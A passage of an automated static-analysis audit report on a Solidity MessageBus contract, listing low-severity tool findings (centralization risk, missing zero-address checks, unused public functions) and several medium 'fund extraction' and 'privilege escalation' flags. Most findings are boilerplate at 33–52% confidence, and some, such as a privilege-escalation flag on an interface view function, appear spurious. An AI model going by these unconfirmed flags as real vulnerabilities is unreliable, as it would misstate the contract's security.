### Vulnerable Code

```

757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-036. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:768 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-037. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:774 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
>> 774 |     function setPegVault(address _addr) public onlyOwner {
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-038. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:780 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |
>> 780 |     function setPegBridgeV2(address _addr) public onlyOwner {
781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10

## F-039. centralization-risk

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:786 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

### Vulnerable Code

```

781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
>> 786 |     function setPegVaultV2(address _addr) public onlyOwner {
787 |         require(_addr != address(0), "invalid address");
788 |         pegVaultV2 = _addr;
789 |         emit PegVaultV2Updated(pegVaultV2);
790 |     }
791 | }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Consider using multi-sig or timelocks for privileged operations

### References

- OWASP Smart Contract Top 10



## F-040. internal-function-used-once

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:248 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

### Vulnerable Code

```

243 | /**
244 |  * @dev Only to be called by inherit contracts, in their init func called
by Proxy
245 |  * we require _owner == address(0), which is only possible when it's a
delegateCall
246 |  * because constructor sets _owner in contract state.
247 |  */
>> 248 | function initOwner() internal {
249 |     require(_owner == address(0), "owner already set");
250 |     _setOwner(msg.sender);
251 | }
252 |
253 | /**

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-041. internal-function-used-once

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:472 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

### Vulnerable Code

```

467 |         pegVault = _pegVault;
468 |         pegBridgeV2 = _pegBridgeV2;
469 |         pegVaultV2 = _pegVaultV2;
470 |     }
471 |
>> 472 |     function initReceiver(
473 |         address _liquidityBridge,
474 |         address _pegBridge,
475 |         address _pegVault,
476 |         address _pegBridgeV2,
477 |         address _pegVaultV2

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-042. state-change-without-event

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:364 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

### Vulnerable Code

```

359 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A withdrawal must be
360 |      * signed-off by +2/3 of the sigsVerifier's current signing power to be
delivered.
361 |      * @param _signers The sorted list of signers.
362 |      * @param _powers The signing powers of the signers.
363 |      */
>> 364 |      function withdrawFee(
365 |          address _account,
366 |          uint256 _cumulativeFee,
367 |          bytes[] calldata _sigs,
368 |          address[] calldata _signers,
369 |          uint256[] calldata _powers

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-043. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:279 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

274 |         _setOwner(newOwner);
275 |     }
276 |
277 |     function _setOwner(address newOwner) private {
278 |         address oldOwner = _owner;
>> 279 |         _owner = newOwner;
280 |         emit OwnershipTransferred(oldOwner, newOwner);
281 |     }
282 | }
283 |
284 | // MessageBus/src/message/messagebus/MessageBusSender.sol

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-044. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:465 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

460 |         address _pegBridge,
461 |         address _pegVault,
462 |         address _pegBridgeV2,
463 |         address _pegVaultV2
464 |     ) {
>> 465 |         liquidityBridge = _liquidityBridge;
466 |         pegBridge = _pegBridge;
467 |         pegVault = _pegVault;
468 |         pegBridgeV2 = _pegBridgeV2;
469 |         pegVaultV2 = _pegVaultV2;
470 |     }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-045. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:466 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

461 |         address _pegVault,
462 |         address _pegBridgeV2,
463 |         address _pegVaultV2
464 |     ) {
465 |         liquidityBridge = _liquidityBridge;
>> 466 |         pegBridge = _pegBridge;
467 |         pegVault = _pegVault;
468 |         pegBridgeV2 = _pegBridgeV2;
469 |         pegVaultV2 = _pegVaultV2;
470 |     }
471 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-046. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:467 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

462 |         address _pegBridgeV2,
463 |         address _pegVaultV2
464 |     ) {
465 |         liquidityBridge = _liquidityBridge;
466 |         pegBridge = _pegBridge;
>> 467 |         pegVault = _pegVault;
468 |         pegBridgeV2 = _pegBridgeV2;
469 |         pegVaultV2 = _pegVaultV2;
470 |     }
471 |
472 |     function initReceiver(

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-047. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:468 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```
463 |     address _pegVaultV2
464 |   ) {
465 |       liquidityBridge = _liquidityBridge;
466 |       pegBridge = _pegBridge;
467 |       pegVault = _pegVault;
>> 468 |       pegBridgeV2 = _pegBridgeV2;
469 |       pegVaultV2 = _pegVaultV2;
470 |   }
471 |
472 |   function initReceiver(
473 |       address _liquidityBridge,
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10



## F-048. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:469 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

464 |     ) {
465 |         liquidityBridge = _liquidityBridge;
466 |         pegBridge = _pegBridge;
467 |         pegVault = _pegVault;
468 |         pegBridgeV2 = _pegBridgeV2;
>> 469 |         pegVaultV2 = _pegVaultV2;
470 |     }
471 |
472 |     function initReceiver(
473 |         address _liquidityBridge,
474 |         address _pegBridge,
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-049. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:480 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

475 |         address _pegVault,
476 |         address _pegBridgeV2,
477 |         address _pegVaultV2
478 |     ) internal {
479 |         require(liquidityBridge == address(0), "liquidityBridge already set");
>> 480 |         liquidityBridge = _liquidityBridge;
481 |         pegBridge = _pegBridge;
482 |         pegVault = _pegVault;
483 |         pegBridgeV2 = _pegBridgeV2;
484 |         pegVaultV2 = _pegVaultV2;
485 |     }

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-050. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:481 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

476 |         address _pegBridgeV2,
477 |         address _pegVaultV2
478 |     ) internal {
479 |         require(liquidityBridge == address(0), "liquidityBridge already set");
480 |         liquidityBridge = _liquidityBridge;
>> 481 |         pegBridge = _pegBridge;
482 |         pegVault = _pegVault;
483 |         pegBridgeV2 = _pegBridgeV2;
484 |         pegVaultV2 = _pegVaultV2;
485 |     }
486 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-051. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:482 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

477 |         address _pegVaultV2
478 |     ) internal {
479 |         require(liquidityBridge == address(0), "liquidityBridge already set");
480 |         liquidityBridge = _liquidityBridge;
481 |         pegBridge = _pegBridge;
>> 482 |         pegVault = _pegVault;
483 |         pegBridgeV2 = _pegBridgeV2;
484 |         pegVaultV2 = _pegVaultV2;
485 |     }
486 |
487 |     // ===== functions called by executor =====

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-052. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:483 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

478 |     ) internal {
479 |         require(liquidityBridge == address(0), "liquidityBridge already set");
480 |         liquidityBridge = _liquidityBridge;
481 |         pegBridge = _pegBridge;
482 |         pegVault = _pegVault;
>> 483 |         pegBridgeV2 = _pegBridgeV2;
484 |         pegVaultV2 = _pegVaultV2;
485 |     }
486 |
487 |     // ===== functions called by executor =====
488 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-053. state-no-address-check

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:484 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

Check for `address(0)` when assigning values to address state variables.

### Vulnerable Code

```

479 |         require(liquidityBridge == address(0), "liquidityBridge already set");
480 |         liquidityBridge = _liquidityBridge;
481 |         pegBridge = _pegBridge;
482 |         pegVault = _pegVault;
483 |         pegBridgeV2 = _pegBridgeV2;
>> 484 |         pegVaultV2 = _pegVaultV2;
485 |     }
486 |
487 |     // ===== functions called by executor =====
488 |
489 |     /**

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

### References

- OWASP Smart Contract Top 10

## F-054. unspecific-solidity-pragma

| PROPERTY    | VALUE                                |
|-------------|--------------------------------------|
| Severity    | LOW                                  |
| Category    |                                      |
| CVSS Score  | 2.1                                  |
| Confidence  | 32%                                  |
| Location    | flattened_MessageBus.sol:2 (unknown) |
| Status      | Open (32% conf.)                     |
| Detected By | aderyn                               |

### Description

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

### Vulnerable Code

```
>> 1 | // SPDX-License-Identifier: GPL-3.0-only
    2 | pragma solidity =0.8.9 >=0.8.0 ^0.8.0;
    3 |
    4 | // MessageBus/src/interfaces/IBridge.sol
    5 |
    6 | interface IBridge {
    7 |     function send(
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Pin the Solidity version to a specific release (e.g., `pragma solidity 0.8.20;`) instead of a range (`^0.8.0`). This ensures consistent compilation and avoids unexpected behavior from compiler updates.

### References

- OWASP Smart Contract Top 10

## F-055. unused-public-function

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:762 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If a function is marked public but is not used internally, consider marking it as `external`.

### Vulnerable Code

```

757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Remove unused code to reduce attack surface and gas costs

### References

- SWC-131
- OWASP Smart Contract Top 10



## F-056. unused-public-function

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:768 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If a function is marked public but is not used internally, consider marking it as `external`.

### Vulnerable Code

```

763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Remove unused code to reduce attack surface and gas costs

### References

- SWC-131
- OWASP Smart Contract Top 10

## F-057. unused-public-function

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:774 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If a function is marked public but is not used internally, consider marking it as `external`.

### Vulnerable Code

```

769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
>> 774 |     function setPegVault(address _addr) public onlyOwner {
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Remove unused code to reduce attack surface and gas costs

### References

- SWC-131
- OWASP Smart Contract Top 10

## F-058. unused-public-function

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:780 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If a function is marked public but is not used internally, consider marking it as `external`.

### Vulnerable Code

```

775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |
>> 780 |     function setPegBridgeV2(address _addr) public onlyOwner {
781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Remove unused code to reduce attack surface and gas costs

### References

- SWC-131
- OWASP Smart Contract Top 10

## F-059. unused-public-function

| PROPERTY    | VALUE                                  |
|-------------|----------------------------------------|
| Severity    | LOW                                    |
| Category    |                                        |
| CVSS Score  | 3.1                                    |
| Confidence  | 52%                                    |
| Location    | flattened_MessageBus.sol:786 (unknown) |
| Status      | Open (52% conf.)                       |
| Detected By | aderyn                                 |

### Description

If a function is marked public but is not used internally, consider marking it as `external`.

### Vulnerable Code

```

781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |
>> 786 |     function setPegVaultV2(address _addr) public onlyOwner {
787 |         require(_addr != address(0), "invalid address");
788 |         pegVaultV2 = _addr;
789 |         emit PegVaultV2Updated(pegVaultV2);
790 |     }
791 | }
```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Remove unused code to reduce attack surface and gas costs

### References

- SWC-131
- OWASP Smart Contract Top 10

## F-060. state\_manipulation

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:291 |
| Status      | Open (33% conf.)                                        |
| Detected By | pakala                                                  |

### Description

Contract state can be manipulated through a sequence of transactions to reach an unintended state

### Vulnerable Code

```
286 | contract MessageBusSender is Ownable {
287 |     ISigsVerifier public immutable sigsVerifier;
288 |
289 |     uint256 public feeBase;
290 |     uint256 public feePerByte;
>> 291 |     mapping(address => uint256) public withdrawnFees;
292 |
293 |     event Message(address indexed sender, address receiver, uint256
dstChainId, bytes message, uint256 fee);
294 |
295 |     event MessageWithTransfer(
296 |         address indexed sender,
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Implement state machine pattern with explicit valid transitions

### References

- SWC-132
- OWASP Smart Contract Top 10

## F-061. fund\_extraction

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:376 |
| Status      | Open (33% conf.)                                        |
| Detected By | pakala                                                  |

### Description

Funds can be extracted through a multi-step transaction sequence bypassing access controls

### Vulnerable Code

```

371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];
374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
>> 376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");
377 |         require(sent, "failed to withdraw fee");
378 |     }
379 |
380 |     /**
381 |      * @notice Calculates the required fee for the message.

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add withdrawal limits, timelocks, and multi-sig for large transfers

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-062. privilege\_escalation\_sequence

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
| CVSS Score  | 3.1                                                    |
| Confidence  | 33%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:23 |
| Status      | Open (33% conf.)                                       |
| Detected By | pakala                                                 |

### Description

Privilege can be escalated through a sequence of calls exploiting role transitions

### Vulnerable Code

```
18 |         bytes[] calldata _sigs,  
19 |         address[] calldata _signers,  
20 |         uint256[] calldata _powers  
21 |     ) external;  
22 |  
>> 23 |     function transfers(bytes32 transferId) external view returns (bool);  
24 |  
25 |     function withdraws(bytes32 withdrawId) external view returns (bool);  
26 |  
27 |     /**  
28 |      * @notice Verifies that a message is signed by a quorum among the  
signers.
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Implement role hierarchy with explicit checks at each transition

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-063. cross\_function\_vulnerability

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:120 |
| Status      | Open (33% conf.)                                        |
| Detected By | pakala                                                  |

### Description

Vulnerability that spans multiple functions - one function modifies state that another depends on unsafely

### Vulnerable Code

```
115 |      * @param _amount locked token amount
116 |      * @param _mintChainId destination chainId to mint tokens
117 |      * @param _mintAccount destination account to receive minted tokens
118 |      * @param _nonce user input to guarantee unique depositId
119 |      */
>> 120 |      function deposit(
121 |          address _token,
122 |          uint256 _amount,
123 |          uint64 _mintChainId,
124 |          address _mintAccount,
125 |          uint64 _nonce
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Use mutex pattern or ensure atomic state updates across dependent functions

### References

- SWC-107
- OWASP Smart Contract Top 10



## F-064. precondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:391 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function precondition may not be properly enforced - inputs not validated

### Vulnerable Code

```

386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |
>> 391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
396 |     function setFeeBase(uint256 _fee) external onlyOwner {

```

### Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add require() checks at function entry or Scribble #if\_succeeds annotations

### References

- SWC-123
- OWASP Smart Contract Top 10

## F-065. precondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | LOW                                                     |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:396 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function precondition may not be properly enforced - inputs not validated

### Vulnerable Code

```

391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
>> 396 |     function setFeeBase(uint256 _fee) external onlyOwner {
397 |         feeBase = _fee;
398 |         emit FeeBaseUpdated(feeBase);
399 |     }
400 | }
401 |

```

### Impact Analysis

